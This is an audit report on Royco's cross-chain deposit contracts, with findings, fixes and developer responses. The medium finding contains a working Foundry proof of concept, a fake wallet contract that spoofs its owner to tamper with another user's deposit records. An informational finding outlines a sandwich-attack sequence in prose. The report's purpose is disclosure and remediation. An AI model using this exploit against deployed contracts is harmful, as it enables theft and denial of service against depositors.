yAudit Royco CCDM Review

Review Resources:

- docs

Auditors:

- fedebianu
- Puxyz

Table of Contents

Review Summary

Royco Cross-Chain Deposit Module (CCDM)

The Royco CCDM provides a system built on Royco to facilitate cross-chain deposit campaigns.

The contracts of the Royco CCDM repository and Royco CCDM Setter repository were reviewed over six days. The code review was performed by two auditors between 18th December and 31st December 2024. The review was limited to the latest commit dce85a9a89e1b82460abc13bf807ee55db40989e for the Royco CCDM repo and 61a8acee2993e7c82e4f1ae666a6346f11d10f8c for the Royco CCDM Setter repo.

Scope

The scope of the review consisted of the following contracts at the specific commits:

Royco CCDM

```
src
├── core
│   ├── DepositExecutor.sol
│   └── DepositLocker.sol
├── interfaces
│   ├── ILayerZeroComposer.sol
│   ├── IOFT.sol
│   └── IWETH.sol
└── libraries
    ├── CCDMFeeLib.sol
    └── CCDMPayloadLib.sol
```

Royco CCDM Setter

```
src
└── CCDMSetter.sol
```

After the findings were presented to the Royco team, fixes were made and included in several PRs.

This review is a code review to identify potential vulnerabilities in the code. The reviewers did not investigate security practices or operational security and assumed that privileged accounts could be trusted. The reviewers did not evaluate the security of the code relative to a standard or specification. The review may not have identified all potential attack vectors or areas of vulnerability.

yAudit and the auditors make no warranties regarding the security of the code and do not warrant that the code is free from defects. yAudit and the auditors do not represent nor imply to third parties that the code has been audited or is free from defects. By deploying or using the code, Royco and users of the contracts agree to use the code at their own risk.

Code Evaluation Matrix

Category	Mark	Description
Access Control	Good	Proper access control mechanisms are implemented, ensuring only authorized users or contracts can interact with critical functions. Clear separation of privileges.
Mathematics	Good	Precise handling of token decimals and LP calculations. No overflow/underflow risks.
Complexity	Good	Modular design with clear separation of concerns. Functions follow the single responsibility principle. Complexity justified by cross-chain functionality.
Libraries	Good	Relies on standard OpenZeppelin and Solmate libraries. LayerZero is used as a proven bridge solution.
Decentralization	Average	Distributed control through multiple roles. Critical operations require multiple participants. Some of them have to be trusted.
Code stability	Good	Mature and stable codebase. No experimental features.
Documentation	Good	The comprehensive documentation explains the core functions and overall system architecture.
Monitoring	Good	Monitoring mechanisms are in place to track key events and changes within the system.
Testing and verification	Average	Basic functionality and fuzzing covered, but invariant tests are missing.

Findings Explanation

Findings are broken down into sections by their respective impact:

- Critical, High, Medium, Low impact
  - These are findings that range from attacks that may cause loss of funds, impact control/ownership of the contracts, or cause any unintended consequences/actions that are outside the scope of the requirements.
- Gas savings
  - Findings that can improve the gas efficiency of the contracts.

- Informational
    - Findings including recommendations and best practices.

Critical Findings

1. Critical - Incorrect index usage in the `withdraw()` nested loop will lead to locked funds

In `withdraw()`, the code uses the `i` index inside a nested loop that iterates over tokens with index `j`. This causes the transfer of receipt tokens to occur only when withdrawing from the first `WeirollWallet` (`i == 0`) rather than for each wallet and token distribution scenario. Also, in a scenario where the function is called with only one `WeirollWallet`, the logic handles only the first input token.

Technical Details

In `withdraw()`:

- The outer loop increments `i` to process each Weiroll Wallet
- The inner loop increments `j` to process each token in `campaign.inputTokens`
- Using `i` inside the token loop leads to incorrect logic since `i` references the wallet index rather than the token index

Actual tests don't fail because they are done against only one `WeirollWallet` and one input token.

Impact

Critical. Users may not receive their receipt tokens for wallets beyond the first one in the `_weirollWallets` array, resulting in lost or locked tokens.

Recommendation

Use the right index:

```
    if (weirollWallet.executed()) {
        // If deposit recipe has been executed, return the depositor's share of
```

```
the receipt tokens and their share of
        ERC20 receiptToken = campaign.receiptToken;

        for (uint256 j = 0; j < campaign.inputTokens.length; ++j) {
            // Get the amount of this input token deposited by the depositor and
the total deposit amount
+           ERC20 inputToken = campaign.inputTokens[j];
-           ERC20 inputToken = campaign.inputTokens[i];
            uint256 amountDeposited =
walletAccounting.depositorToTokenToAmountDeposited[msg.sender][inputToken];
            uint256 totalAmountDeposited =
walletAccounting.tokenToTotalAmountDeposited[inputToken];

            // Update the accounting to reflect the withdrawal
            delete walletAccounting.depositorToTokenToAmountDeposited[msg.sender]
[inputToken];
            walletAccounting.tokenToTotalAmountDeposited[inputToken] -=
amountDeposited;

+           if (j == 0) {
-           if (i == 0) {
                // Calculate the receipt tokens owed to the depositor
                uint256 receiptTokensOwed =
(receiptToken.balanceOf(_weirollWallets[i]) * amountDeposited) /
totalAmountDeposited;
                // Remit the receipt tokens to the depositor
                receiptToken.safeTransferFrom(_weirollWallets[i], msg.sender,
receiptTokensOwed);
            }

            // Don't allow for double withdrawals if receipt and input token are
equivalent
            if (address(receiptToken) != address(inputToken)) {
                // Calculate the dust tokens owed to the depositor
                uint256 dustTokensOwed =
(inputToken.balanceOf(_weirollWallets[i]) * amountDeposited) /
totalAmountDeposited;
                if (dustTokensOwed > 0) {
                    // Remit the dust tokens to the depositor
                    inputToken.safeTransferFrom(_weirollWallets[i], msg.sender,
dustTokensOwed);
                }
            }
        }
    } else {
        // Check that a valid number of input tokens have been set for this
campaign
        require(campaign.numInputTokens != 0 && (campaign.inputTokens.length ==
campaign.numInputTokens), CampaignTokensNotSet());

        // If deposit recipe hasn't been executed, return the depositor's share
of the input tokens
        for (uint256 j = 0; j < campaign.inputTokens.length; ++j) {
            // Get the amount of this input token deposited by the depositor
+           ERC20 inputToken = campaign.inputTokens[j];
-           ERC20 inputToken = campaign.inputTokens[i];
            uint256 amountDeposited =
walletAccounting.depositorToTokenToAmountDeposited[msg.sender][inputToken];

            // Make sure that the depositor can withdraw all campaign's input
tokens atomically to avoid race conditions with recipe execution
            require(amountDeposited > 0, WaitingToReceiveAllTokens());

            // Update the accounting to reflect the withdrawal
            delete walletAccounting.depositorToTokenToAmountDeposited[msg.sender]
[inputToken];
            walletAccounting.tokenToTotalAmountDeposited[inputToken] -=
amountDeposited;

            // Transfer the amount deposited back to the depositor
            inputToken.safeTransfer(msg.sender, amountDeposited);
        }
    }
```

Developer Response

Fixed in this commit.

Medium Findings

1. Medium - Attackers can spam fake deposits to DoS users

An attacker can deposit into an existing market and deposit worthless tokens “on behalf” of an honest user, polluting the deposit ledger.

Technical Details

There's a loophole where an attacker can deposit or withdraw on behalf of another user using a custom wallet implementation to the depositors address. This can mess up the ledger, forcing legitimate users to deal with unexpected withdrawals from attackers.

The deposit and withdrawal logic relies on what a calling wallet reports about its `owner` address and targeted market (e.g., `marketHash`). Because there is no robust check, an attacker can deploy a wallet contract falsely claiming to belong to another user and then toggle which ledger entry is being modified. When this wallet calls the protocol's functions, it updates records under the victim's address, even though the victim never approved those actions.

```
    function withdraw() external nonReentrant {
        // Get Weiroll Wallet's market hash and depositor/owner/AP
        WeirollWallet wallet = WeirollWallet(payable(msg.sender));
        bytes32 targetMarketHash = wallet.marketHash();
        address depositor = wallet.owner();
```

POC

```
contract ExploitWallet {
    bool public withdrawPhase;

    address public immutable owner;

    bytes32 public immutable marketHashDai;
    bytes32 public immutable marketHashWETH;

    constructor(
        address _owner,
        bytes32 _marketHashDai,
        bytes32 _marketHashWETH
    ) {
        owner = _owner;
        marketHashDai = _marketHashDai;
        marketHashWETH = _marketHashWETH;
    }

    function marketHash() external view returns (bytes32) {
        return withdrawPhase ? marketHashDai : marketHashWETH;
    }

    function amount() external view returns (uint256) {
        return 1e18;
    }

    function enableFMarket() external {
        withdrawPhase = true;
    }

    function disableFMarket() external {
        withdrawPhase = false;
    }

    function deposit(DepositLocker _contract) external {
        _contract.deposit();
    }

    function withdraw(DepositLocker _contract) external {
        _contract.withdraw();
    }
}

contract DecimalMismatchExploit is RecipeMarketHubTestBase {
    DepositLocker public depositLocker;
    WeirollWalletHelper public walletHelper;

    address public attacker;

    bytes32 public marketHashDai;
    bytes32 public marketHashWETH;

    address[] public weirollWallets;

    address FRONTEND_FEE_RECIPIENT;
    address IP_ADDRESS;

    function setUp() public {
        walletHelper = new WeirollWalletHelper();

        FRONTEND_FEE_RECIPIENT = CHARLIE_ADDRESS;
        IP_ADDRESS = ALICE_ADDRESS;
        uint256 protocolFee = 0.01e18;
        uint256 minimumFrontendFee = 0.001e18;
        setUpRecipeMarketHubTests(protocolFee, minimumFrontendFee);

        attacker = makeAddr("attacker");
        vm.deal(attacker, 100 ether);

        IOFT[] memory lzV2OFTs = new IOFT[](2);
        lzV2OFTs[0] = IOFT(STARGATE_DAI_POOL_MAINNET_ADDRESS);  // USDC-based OFT
with 6 shared decimals
        lzV2OFTs[1] = IOFT(STARGATE_POOL_NATIVE_MAINNET_ADDRESS); // WETH-based
OFT with 18 shared decimals

        depositLocker = new DepositLocker(
            address(this),                // _owner
            30_284,                       // _dstChainLzEid
            address(0xbeef),              // _depositExecutor (placeholder)
            address(this),                // _greenLighter (placeholder)
            recipeMarketHub,              // _recipeMarketHub
            UNISWAP_V2_MAINNET_ROUTER_ADDRESS,
            lzV2OFTs
        );

        deal(address(DAI_MAINNET_ADDRESS), address(depositLocker), 1000e6);

        marketHashWETH = createMarket(WETH_MAINNET_ADDRESS);
        console.logBytes32(marketHashWETH);

        marketHashDai = createMarket(address(DAI_MAINNET_ADDRESS));
        console.logBytes32(marketHashDai);
    }

    function createMarket(address token) internal returns (bytes32) {
        // Build deposit recipe
        RecipeMarketHubBase.Recipe memory depositRecipe = _buildDepositRecipe(
            DepositLocker.deposit.selector,    // deposit function
            address(walletHelper),            // intermediate Weiroll helper
            token,                             // token to deposit
            address(depositLocker)            // target contract
        );

        // Build withdrawal recipe
        RecipeMarketHubBase.Recipe memory withdrawalRecipe =
_buildWithdrawalRecipe(
            DepositLocker.withdraw.selector,
            address(depositLocker)
        );

        // Create the market
        return recipeMarketHub.createMarket(
            token,
            30 days,
            recipeMarketHub.minimumFrontendFee(),
            depositRecipe,
            withdrawalRecipe,
            RewardStyle.Forfeitable
        );
    }

    function testDecimalMismatchExploit() public {
        (address ap,) = makeAddrAndKey(string(abi.encode(0)));

        ExploitWallet wallet_ = new ExploitWallet(ap, marketHashDai,
marketHashWETH);

        console.log("\n=== Step 1: Attacker depositing DAI ===");
        {
            vm.startPrank(address(wallet_));
            deal(address(DAI_MAINNET_ADDRESS), address(wallet_), 1e18);
            ERC20(address(DAI_MAINNET_ADDRESS)).approve(address(depositLocker),
1e18);
            wallet_.enableFMarket();
            wallet_.deposit(depositLocker);
            wallet_.disableFMarket();
            (uint256 recordedFDeposit,) =
depositLocker.marketHashToDepositorToDepositorInfo(marketHashDai, ap);
            console.log("  DAI market deposit recorded (raw):", recordedFDeposit
/ 1e18);
            vm.stopPrank();
        }

        console.log("\n=== Step 2: Honest user depositing WETH ===");
        // Generate address for AP
        {
            uint offerAmount = 1e18;
            uint filledSoFar = 0;
            uint numDepositors = 1;

            uint256 fillAmount = offerAmount / numDepositors;
            filledSoFar += fillAmount;

            deal(WETH_MAINNET_ADDRESS, ap, offerAmount);

            (bytes32 offerHash,) = createIPOffer_WithPoints(marketHashWETH,
offerAmount, ap);

            vm.startPrank(ap);
            ERC20(WETH_MAINNET_ADDRESS).approve(address(recipeMarketHub),
100e18);

            // Record the logs to capture Transfer events
            bytes32[] memory ipOfferHashes = new bytes32[](1);
            ipOfferHashes[0] = offerHash;
            uint256[] memory fillAmounts = new uint256[](1);
            fillAmounts[0] = fillAmount;

            // AP Fills the offer (no funding vault)
            recipeMarketHub.fillIPOffers(ipOfferHashes, fillAmounts, address(0),
address(this));

            vm.stopPrank();
        }

        console.log("++ attacker state ++");

        // as attacker set depositor as user address
        (uint256 x, ) =
depositLocker.marketHashToDepositorToDepositorInfo(marketHashDai, ap);
        console.log("  DAI market totalAmountDeposited for attacker using user as
depositor:", x / 1e18);

        // as attacker set depositor as user address
        (x, ) = depositLocker.depositorToWeirollWalletToWeirollWalletInfo(ap,
address(wallet_));
        console.log("  DAI market amountDeposited for attacker using user as
depositor:", x / 1e18);

        console.log("++ user state ++");
        (x,) = depositLocker.marketHashToDepositorToDepositorInfo(marketHashWETH,
ap);
        console.log("  WETH market totalAmountDeposited for user using user as
depositor:", x / 1e18);

        // as attacker set depositor as user address
        (x, ) = depositLocker.depositorToWeirollWalletToWeirollWalletInfo(ap,
address(0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7));
        console.log("  DAI market amountDeposited for user using user as
depositor:", x / 1e18);

        uint256 userWethBalance =
ERC20(address(WETH_MAINNET_ADDRESS)).balanceOf(ap);
        console.log("  User WETH Balance:", userWethBalance / 1e18);

        vm.startPrank(address(this));
        depositLocker.turnGreenLightOn(marketHashDai);
        vm.warp(block.timestamp + depositLocker.RAGE_QUIT_PERIOD_DURATION() + 1);
        vm.stopPrank();

        console.log("\n=== Step 2: Start DOS ===");

        vm.startPrank(address(wallet_));
        wallet_.disableFMarket();
        wallet_.withdraw(depositLocker);
        wallet_.enableFMarket();

        console.log("++ attacker state ++");

        (x, ) = depositLocker.marketHashToDepositorToDepositorInfo(marketHashDai,
ap);
        console.log("  DAI market totalAmountDeposited for attacker using user as
depositor:", x / 1e18);

        // as attacker set depositor as user address
        (x, ) = depositLocker.depositorToWeirollWalletToWeirollWalletInfo(ap,
address(wallet_));
        console.log("  DAI market amountDeposited for attacker using user as
depositor:", x / 1e18);

        console.log("++ user state ++");

        (x,) = depositLocker.marketHashToDepositorToDepositorInfo(marketHashWETH,
ap);
        console.log("  WETH market totalAmountDeposited for user using user as
depositor:", x / 1e18);

        // as attacker set depositor as user address
        (x, ) = depositLocker.depositorToWeirollWalletToWeirollWalletInfo(ap,
address(0x83B4EEa426B7328eB3bE89cDb558F18BAF6A2Bf7));
        console.log("  DAI market amountDeposited for user using user as
depositor:", x / 1e18);

        // Finally, let's see how many WETH tokens the attacker ends up with
        userWethBalance = ERC20(address(WETH_MAINNET_ADDRESS)).balanceOf(ap);
        console.log("  User WETH Balance:", userWethBalance / 1e18);

        vm.stopPrank();
    }
}
```

Impact

Medium. Users might find their deposits removed or stuck in bridging flows.

Recommendation

Add the following modifier to `withdraw()` to verify that `msg.sender` is a valid `WeirollWallet`:

```
modifier onlyWeirollWallet() {
    bytes32 expectedPattern =

keccak256(abi.encodePacked(hex"363d3d3761008b603836393d3d3d3661008b013d73",
WEIROLL_WALLET_IMPLEMENTATION, hex"5af43d82803e903d91603657fd5bf3"));

    bytes memory code = msg.sender.code;
    bytes32 codehash;
    assembly {
        codehash := keccak256(add(code, 32), 56)
    }

    require(code.length == 195 && codehash == expectedPattern, "Invalid Weiroll
Wallet");
```

```
    _;
}
```

Developer Response

Fixed in this [commit](#).

Low Findings

1. Low - `DepositExecutor` can be griefed through spam bridged deposits

The `DepositExecutor` creates and tracks a new `WeirollWallet` for each bridged CCDM nonce. While the `DepositLocker` has been updated to prevent griefing through an unbounded array, the `DepositExecutor` remains vulnerable to spam wallet creation.

Technical Details

When a bridge message is received, [`lzCompose()`](#) creates a new `WeirollWallet`. The campaign owner must later execute these wallets through [`executeDepositRecipes()`](#), which takes an array of wallet addresses and executes the deposit recipe on each one.

Since any malicious contract can still act as a `WeirollWallet`, an attacker can:

1. Create many small deposits on the source chain
2. Have these bridged to create many `WeirollWallet`
3. Force the campaign owner to handle all these wallets

Impact

Low. The attack could create significant operational overhead for campaign management.

Recommendation

Consider adding a minimum deposit amount to prevent spam deposits:

```
+   mapping(address => uint256) public minDepositAmount;

+   event MinDepositAmountSet(address indexed token, uint256 amount);

+   function setMinDepositAmount(address token, uint256 amount) external
onlyOwner {
```

```
+       minDepositAmount[token] = amount;
+       emit MinDepositAmountSet(token, amount);
+   }

    function deposit() external nonReentrant {
        // Get Weiroll Wallet's market hash, depositor/owner/AP, and amount
deposited
        WeirollWallet wallet = WeirollWallet(payable(msg.sender));
        bytes32 targetMarketHash = wallet.marketHash();
        address depositor = wallet.owner();
        uint256 amountDeposited = wallet.amount();

        // Get the token to deposit for this market
        (, ERC20 marketInputToken,,,,,) =
RECIPE_MARKET_HUB.marketHashToWeirollMarket(targetMarketHash);

+       // Enforce minimum deposit
+       require(
+           amountDeposited >= minDepositAmount[address(marketInputToken)],
+           "Deposit amount below minimum"
+       );
+
        if (!_isUniV2Pair(address(marketInputToken))) {
            // Check that the deposit amount is less or equally as precise as
specified by the shared decimals of the OFT for SINGLE_TOKEN markets
            bool depositAmountHasValidPrecision =
                amountDeposited % (10 ** (marketInputToken.decimals() -
tokenToLzV2OFT[marketInputToken].sharedDecimals())) == 0;
            require(depositAmountHasValidPrecision, DepositAmountIsTooPrecise());
        }

        // Check to avoid frontrunning deposits before a market has been created
or the market's input token is deployed
        if (address(marketInputToken).code.length == 0) revert
RoycoMarketNotInitialized();

        // Transfer the deposit amount from the Weiroll Wallet to the
DepositLocker
        marketInputToken.safeTransferFrom(msg.sender, address(this),
amountDeposited);

        // Account for deposit
        marketHashToDepositorToDepositorInfo[targetMarketHash]
```

```
[depositor].totalAmountDeposited += amountDeposited;
        WeirollWalletInfo storage walletInfo =
depositorToWeirollWalletToWeirollWalletInfo[depositor][msg.sender];
        walletInfo.ccdmNonceOnDeposit = ccdmNonce;
        walletInfo.amountDeposited = amountDeposited;

        // Emit deposit event
        emit UserDeposited(targetMarketHash, depositor, amountDeposited);
    }
```

Developer Response

Fixed with different recommendation in this commit.

2. Low - Inefficient validation of maximum depositor limit

`MAX_DEPOSITORS_PER_BRIDGE` is intended to check for the maximum number of depositors bridged in a single transaction. However, the function `bridgeSingleTokens` and `bridgeLpTokens` validates the input array length against `MAX_DEPOSITORS_PER_BRIDGE` instead of the actual number of depositors being bridged.

Technical Details

In both `bridgeSingleTokens` and `bridgeLpTokens`, there's an early check:

```
      require(_depositors.length <= MAX_DEPOSITORS_PER_BRIDGE,
DepositorsPerBridgeLimitExceeded());
```

However, the number of depositors that end up being bridged (`numDepositorsIncluded`) can be much smaller than `_depositors.length`.

Impact

Low.

Recommendation

Move the validation to check the actual number of depositors being bridged:

```
     function bridgeSingleTokens(bytes32 _marketHash, address[] calldata
_depositors) external payable readyToBridge(_marketHash) nonReentrant {
-        require(_depositors.length <= MAX_DEPOSITORS_PER_BRIDGE,
DepositorsPerBridgeLimitExceeded());

        ...

        uint256 numDepositorsIncluded;

        for (uint256 i = 0; i < _depositors.length; ++i) {
            // Process depositor and update the compose message with depositor
info
            uint256 depositAmount = _processSingleTokenDepositor(_marketHash,
numDepositorsIncluded, _depositors[i], nonce, composeMsg);
            if (depositAmount == 0) {
                // If this depositor was omitted, continue.
                continue;
            }
            totalAmountToBridge += depositAmount;
            depositorsBridged[numDepositorsIncluded++] = _depositors[i];
        }
+       require(numDepositorsIncluded <= MAX_DEPOSITORS_PER_BRIDGE,
DepositorsPerBridgeLimitExceeded());

        // rest of the code
```

Developer Response

Fixed in this commit.

Gas Saving Findings

1. Gas - Optimize for loops

Technical Details

All for loops can be optimized to save gas.

Impact

Gas savings.

Recommendation

Optimize for loops by applying these changes:

- cache the array length outside a loop as it saves reading it on each iteration
- don't initialize the loop counter variable, as there is no need to initialize it to zero because it is the default value

Developer Response

Acknowledged.

Informational Findings

1. Informational - Optimize test execution times

Technical Details

The test suite is not leveraging forge's RPC response caching capabilities by not explicitly setting the block number after fork selection, leading to very slow test execution times.

Impact

Informational.

Recommendation

After creating and selecting a fork, explicitly set the block number with `vm.rollFork()`. This allows forge to properly cache the RPC responses, making subsequent test runs significantly faster.

Developer Response

Acknowledged.

2. Informational - LP bridging is vulnerable to market owner manipulation

The `bridgeLpTokens()` function gives market owners complete control over slippage parameters, allowing them to intentionally set zero slippage and extract value from depositors through sandwich attacks.

Technical Details

Market owners can:

1. Accept LP deposits from users

2. Wait for sufficient deposits
3. Set `_minAmountOfToken0ToBridge` and `_minAmountOfToken1ToBridge` to zero
4. Front-run their own `bridgeLpTokens()` call to manipulate prices
5. Execute `bridgeLpTokens()` with high slippage
6. Back-run to restore prices and profit from the slippage

The protocol mitigates this risk as the `DepositLocker` owner is responsible for setting the LP market owners.

Impact

Informational.

Recommendation

Clearly document your trust assumption in all relevant user-facing documentation and that market owners have complete control over LP token bridging.

Developer Response

Acknowledged.

3. Informational - Misleading comment in NatSpec

There is a misleading comment in NatSpec about blocking withdrawals when unverified.

Technical Details

As the withdrawals are not dependent on the campaign verification, the below comment in NatSpec is misleading.

```
    /**
     * @notice Sets the campaign verification status to false.
     * @notice Deposit Recipe cannot be executed and withdrawals are blocked
until verified.
     * @dev Only callable by the campaign verifier.
     * @param _sourceMarketHash The market hash on the source chain used to
identify the corresponding campaign on the destination.
     */
    function unverifyCampaign(bytes32 _sourceMarketHash) external
onlyCampaignVerifier {
        delete sourceMarketHashToDepositCampaign[_sourceMarketHash].verified;
        emit CampaignVerificationStatusSet(_sourceMarketHash, false);
    }
```

Impact

Informational.

Recommendation

Fix the NatSpec:

```
    /**
     * @notice Sets the campaign verification status to false.
-     * @notice Deposit Recipe cannot be executed and withdrawals are blocked
until verified.
+     * @notice Deposit Recipe cannot be executed and are blocked until verified.
     * @dev Only callable by the campaign verifier.
     * @param _sourceMarketHash The market hash on the source chain used to
identify the corresponding campaign on the destination.
     */
    function unverifyCampaign(bytes32 _sourceMarketHash) external
onlyCampaignVerifier {
        delete sourceMarketHashToDepositCampaign[_sourceMarketHash].verified;
        emit CampaignVerificationStatusSet(_sourceMarketHash, false);
    }
```

Developer Response

Fixed in this commit.

4. Informational - Use `call()` instead of `transfer()` on payable addresses

The `DepositLocker` contract uses `transfer()` for refunding excess Ether (e.g., in `_executeConsecutiveBridges()`), which can fail for contract recipients with complex fallback logic or higher gas requirements.

Technical Details

The `transfer()` method sends only 2300 gas to the recipient, which may be insufficient for fallback functions in recipient contracts, leading to transaction failures.

```
payable(msg.sender).transfer(msg.value - totalBridgingFee);
```

Impact

Informational.

Recommendation

Replace `transfer()` with `call()` to handle potential failures using the returned bool value.

```
(bool success, ) = payable(msg.sender).call{ value: msg.value - totalBridgingFee
}("");
require(success, "Refund failed");
```

Developer Response

Fixed in this commit.

5. Informational - Add a check for zero-amount deposits

Technical Details

`deposit()` does not explicitly check if `amountDeposited` is greater than zero.

```
uint256 amountDeposited = wallet.amount();
```

Impact

Informational.

Recommendation

Add a check for zero-amount deposits:

```
require(amountDeposited > 0, "Deposit amount must be greater than zero")
```

Developer Response

Acknowledged.

Final remarks

The codebase demonstrates robust cross-chain deposit management with strong access controls and precise mathematical handling. While the core functionality is well-implemented, some trust assumptions exist in the multi-role system. The use of established libraries and patterns enhances security. Key monitoring is in place through events. The gas limits specified in `CCDMFeeLib` have been thoroughly tested. Overall, the system is production-ready but would benefit from higher coverage and invariant testing to further strengthen security guarantees.